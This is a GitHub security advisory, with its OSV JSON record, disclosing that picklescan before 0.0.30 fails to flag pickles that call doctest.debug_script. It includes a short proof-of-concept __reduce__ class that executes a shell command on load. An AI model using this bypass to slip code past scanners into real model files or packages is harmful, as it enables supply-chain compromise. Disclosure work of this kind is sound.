GHSA-FQQ6-7VQF-W3FG

Vulnerability from github – Published: 2025-08-26 21:38 – Updated: 2025-08-26 21:38
VLAI
Summary
Picklescan is missing detection when calling built-in python doctest.debug_script
Details

Summary

Using doctest.debug_script function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to doctest.debug_script function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

from doctest import debug_script

class EvilDoctestDebugScript:
    def __reduce__(self):
        # debug_script(src, pm=True) -> exec(src, ...)
        return debug_script, ("__import__('os').system('whoami')", True)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.30"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-26T21:38:09Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nUsing doctest.debug_script function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to doctest.debug_script function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn\u0027t dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nfrom doctest import debug_script\n\nclass EvilDoctestDebugScript:\n    def __reduce__(self):\n        # debug_script(src, pm=True) -\u003e exec(src, ...)\n        return debug_script, (\"__import__(\u0027os\u0027).system(\u0027whoami\u0027)\", True)\n\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
  "id": "GHSA-fqq6-7vqf-w3fg",
  "modified": "2025-08-26T21:38:09Z",
  "published": "2025-08-26T21:38:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-fqq6-7vqf-w3fg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Picklescan is missing detection when calling built-in python doctest.debug_script"
}


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